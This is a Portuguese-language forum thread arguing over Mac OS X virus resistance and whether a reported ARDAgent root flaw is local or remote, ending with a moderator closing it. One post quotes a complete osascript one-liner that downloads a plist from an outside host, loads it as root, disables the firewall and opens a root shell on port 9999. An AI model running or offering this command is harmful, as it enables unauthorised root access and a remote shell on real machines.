Porque é que não há virus para o Osx?

[Paulo Truta]

Será que a maior parte dos melhoramentos dos BSDs não são aplicados no MacOSX?



Repito o que disse: "fico à espera dos vírus para MacOSX". Se isso bastava, se a falha era assim tão grave, por que é que os vírus não surgiram?

No Linux o tempo conta-se em horas a partir do momento em que a vulnerabilidade é conhecida. Depois ainda falta o tempo até chegar às máquinas dos utilizadores. Mas a mim o que me preocupa mais ainda é a possibilidade de alguém descobrir a vulnerabilidade e usá-la ele próprio sem a divulgar.

EDIT: Quanto aos anexos de email, uma coisa é abrires pdf, um vídeo, um documento de texto, etc., e se isto comprometer o sistema, então acho que a culpa é do SO/aplicação que abre o ficheiro (a menos que não escolhas o programo correcto para o fazer). Outra é abrires um executável!!! Aqui é pura estupidez do utilizador (e com um pouco de sorte o MacOSX ainda te avisa primeiro que aquilo é um executável).

Se avisa ou não não tenho a certeza, mas dúvidas não tenho que 90% dos utilizadores são estúpidos...

 

[Tafinho]

Assim de repente, notícia de 10 de Junho:
http://www.heise-online.co.uk/security/Root-exploit-for-Mac-OS-X--/news/110968

Para fazer um vírus com root access remoto -ssh por exemplo- enquanto a exploit não foi corrigida basta... muito pouco.

Assim de repente, bastava perceberes o que está no artigo para poderes ter evitado dizer disparates. O Artigo em questão refere um problema conhecido por "privilege escalation", o que é radicalmente diferente de um exploit. Com o problema em questão, é possível a um utilizador da máquina chegar a ter permissões de root. Não lhe permite aceder remotamente à máquina com permissões de root.

Problemas destes nem sequer são contados em windows, assim porque conheço alguns 20 de cor, e mesmo em Linux não são inéditos.

 

[Homem Bomba]

Assim de repente, bastava perceberes o que está no artigo para poderes ter evitado dizer disparates. O Artigo em questão refere um problema conhecido por "privilege escalation", o que é radicalmente diferente de um exploit. Com o problema em questão, é possível a um utilizador da máquina chegar a ter permissões de root. Não lhe permite aceder remotamente à máquina com permissões de root.

Problemas destes nem sequer são contados em windows, assim porque conheço alguns 20 de cor, e mesmo em Linux não são inéditos.

Há diversas maneira de dizer as coisas, mas parece que muito pouca gente que frequenta este sub-forum tem o cuidado de ser delicado.

Bastava consultares a Wikipedia para saberes o que é uma exploit:

An exploit (from the same word in the French language, meaning "achievement", or "accomplishment") is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). This frequently includes such things as violently gaining control of a computer system or allowing privilege escalation or a denial of service attack.

Eu explico para que se perceba melhor. O uso de uma exploit pode ter como objectivo previlege escalation, como tal as coisas não podem ser vistas como separadas.

E bastava leres o artigo para saber que a pessoa que o escreveu também o considera exploit:

When tested at heise Security, the line osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "' opened a root shell at TCP port 9999.

In principle, the exploit will also work remotely, say on a server on which a user has a restricted account with SSH access.

O que está escrito nestas frases é que se te puderes ligar como user normal ao computador por ssh e correr o que eles explicam no site, poderias aceder a um terminal root remoto.

Tenta não começar as discussões com sete pedras na mão, só te fará bem pela vida fora.

Peace!

 

[MySeLf]

Há diversas maneira de dizer as coisas, mas parece que muito pouca gente que frequenta este sub-forum tem o cuidado de ser delicado.

Bastava consultares a Wikipedia para saberes o que é uma exploit:



Eu explico para que se perceba melhor. O uso de uma exploit pode ter como objectivo previlege escalation, como tal as coisas não podem ser vistas como separadas.

E bastava leres o artigo para saber que a pessoa que o escreveu também o considera exploit:





O que está escrito nestas frases é que se te puderes ligar como user normal ao computador por ssh e correr o que eles explicam no site, poderias aceder a um terminal root remoto.

Tenta não começar as discussões com sete pedras na mão, só te fará bem pela vida fora.

Peace!

Sem duvida, esclarecedor!

Tal como já tinha dito, isto só prova que o MAC OSX não é "á prova de bala".

E sim, de facto nesta parte do fórum as pessoas tendem a ser pouco razoáveis o que por vezes nos leva a desinteressar pela discussão ou até irritar.

Ainda bem que ainda existem pessoas com paciência para se darem ao trabalho de esclarecer tudo mesmo estando a remar contra a maré. Obrigado.

Cumprimentos,

 

[Tafinho]

Eu explico para que se perceba melhor. O uso de uma exploit pode ter como objectivo previlege escalation, como tal as coisas não podem ser vistas como separadas.

Para quem não sabe, é tudo a mesma coisa. Para quem sabe, são coisas radicalmente diferentes (ver no fim).

E bastava leres o artigo para saber que a pessoa que o escreveu também o considera exploit:
O que está escrito nestas frases é que se te puderes ligar como user normal ao computador por ssh e correr o que eles explicam no site, poderias aceder a um terminal root remoto.

Tu leste, e não percebeste um cú daquilo que está lá escrito. É preciso TERES ACESSO PRÉVIO À MÁQUINA, para correres o script. Ora isto é uma vulnerabilidade local, e não remota.

Não vale de nada colocarem links para coisas que não percebem, já que só serve para aumentar a confusão.

Vulnerabilidades locais, são às resmas, mas por outro lado, são tipicamente controláveis.
VUlnerabilidades remotas são raras e sempre gravíssimas.

 

[rpnetwork]

ei gente, o tópico já começou mal, NUNCA SE DEVE COMEÇAR UM TÓPICO A DIZER "AH O MAC É PERFEITO PORQUE O WINDOWS TÁ MAL FEITO" (isto é meio caminho andado para haver porcaria para limpar)

agora vão cá umas postas de pescada :
há vírus para mac, mas porque é que tu não vês esses vírus? porque os sistemas mac osx têm uma pequena percentagem de home user's e parece que muitos deles são "simples pessoas que precisam do pc para executar aplicações simples (vá, itunes, safari, word, msn e pouco mais)" e não andam a experimentar coisas muito avançadas para personalizar o computador/aplicações ou andam a jogar daqueles jogos que sacas em sites suspeitos! e se vêm um ficheiro que o amigo lhe manda a dizer que são fotos e aquilo lhe pergunta por permissões acham que não percebem que aquilo é algo mais??

conclusão: há virus para mac, mas como é demasiado fácil de os impedir, podem estar descansados que pouca gente se dá ao trabalho!.

no caso dos exploit's:
estão sempre a ser descobertos novos e é para isso que existem os updates...
o que podem criticar é a velocidade a que os erros são corrigidos, que é de facto... toda a gente sabe que não é muito rápida.

agora sobre o windows: sim, é verdade que está mal arquitecturado e tal, já foram adicionadas mais umas features de segurança no vista e tal, mas quem quer usa e quem não quer não tem de ouvir com porcarias a dizer que o windows é a melhor coisa do mundo! e o mesmo com mac/linux, etc...

 

[Homem Bomba]

Para quem não sabe, é tudo a mesma coisa. Para quem sabe, são coisas radicalmente diferentes (ver no fim).

Onde está escrito que eu disse que era a mesma coisa? Apenas disse que uma era um meio para obter outra, de acordo com o que podes ler na Wikipedia.

Tu leste, e não percebeste um cú daquilo que está lá escrito. É preciso TERES ACESSO PRÉVIO À MÁQUINA, para correres o script. Ora isto é uma vulnerabilidade local, e não remota.

Tecnicamente gostei da tua resposta, mas o tom continua mal-educado. Tens que fazer o download da patch para essa vulnerabilidade. Até lá, dou por terminada a minha discussão contigo.

Agora quanto ao que interessa:

Isso não o torna menos exploit, apenas um tipo diferente de exploit. Também escrevi que esta exploit poderia ser activada pela execução local do script, tal como num vulgar trojan no windows. E como já foi dito e redito aqui, o maior problema é o facto dos users abrirem tudo o que recebem na caixa de correio. E são este tipo de exploits que diminuem a distância entre windows e unix neste campo.

A ligação SSH é só mais uma forma de usar a exploit e não o vector principal de infecção... Eu disse "se te puderes ligar como user normal". É óbvio que tens que saber um login e uma password de uma conta qualquer na máquina. Nota que isso que não implica acesso físico à máquina. Mas é verdade que implica interacção directa do utilizador.

Lamento se me expliquei mal quando me referi a isto como um ataque puramente remoto, e obrigado por me teres chamado à atenção.

Não vale de nada colocarem links para coisas que não percebem, já que só serve para aumentar a confusão.

Serve para quem não percebe passar a perceber, se as pessoas responderem com rectidão e delicadeza. Isto é um fórum e serve para isso...

Vulnerabilidades locais, são às resmas, mas por outro lado, são tipicamente controláveis.
VUlnerabilidades remotas são raras e sempre gravíssimas.

Aqui concordo a 100%!

 

[Rui_Carlos]

Tal como já tinha dito, isto só prova que o MAC OSX não é "á prova de bala".

Bastava ler o primeiro post para se perceber isso:

"No system is totally safe, but Macs have a lot of architecture working in their favor."

Mas continuam sempre a bater na mesma tecla, como se alguém aqui tivesse dito que os macs eram completamente seguros. Parece que só vocês é que ainda não se convenceram disso...

 

[Demio]

Onde está escrito que eu disse que era a mesma coisa? Apenas disse que uma era um meio para obter outra, de acordo com o que podes ler na Wikipedia.



Tecnicamente gostei da tua resposta, mas o tom continua mal-educado. Tens que fazer o download da patch para essa vulnerabilidade. Até lá, dou por terminada a minha discussão contigo.

Agora quanto ao que interessa:

Isso não o torna menos exploit, apenas um tipo diferente de exploit. Também escrevi que esta exploit poderia ser activada pela execução local do script, tal como num vulgar trojan no windows. E como já foi dito e redito aqui, o maior problema é o facto dos users abrirem tudo o que recebem na caixa de correio. E são este tipo de exploits que diminuem a distância entre windows e unix neste campo.

A ligação SSH é só mais uma forma de usar a exploit e não o vector principal de infecção... Eu disse "se te puderes ligar como user normal". É óbvio que tens que saber um login e uma password de uma conta qualquer na máquina. Nota que isso que não implica acesso físico à máquina. Mas é verdade que implica interacção directa do utilizador.

Lamento se me expliquei mal quando me referi a isto como um ataque puramente remoto, e obrigado por me teres chamado à atenção.



Serve para quem não percebe passar a perceber, se as pessoas responderem com rectidão e delicadeza. Isto é um fórum e serve para isso...



Aqui concordo a 100%!

Uma pequena correcção: o exploit que postaste não dá pra se executar através de SSH, apenas numa sessão de shell local.

Cumprimentos,
Demio

 

[Watermelon]

Já deu para ver que mesmo depois de 2 avisos há quem insista em partir para flames e offtopics. Como tal, não vejo necessidade de deixar a thread aberta.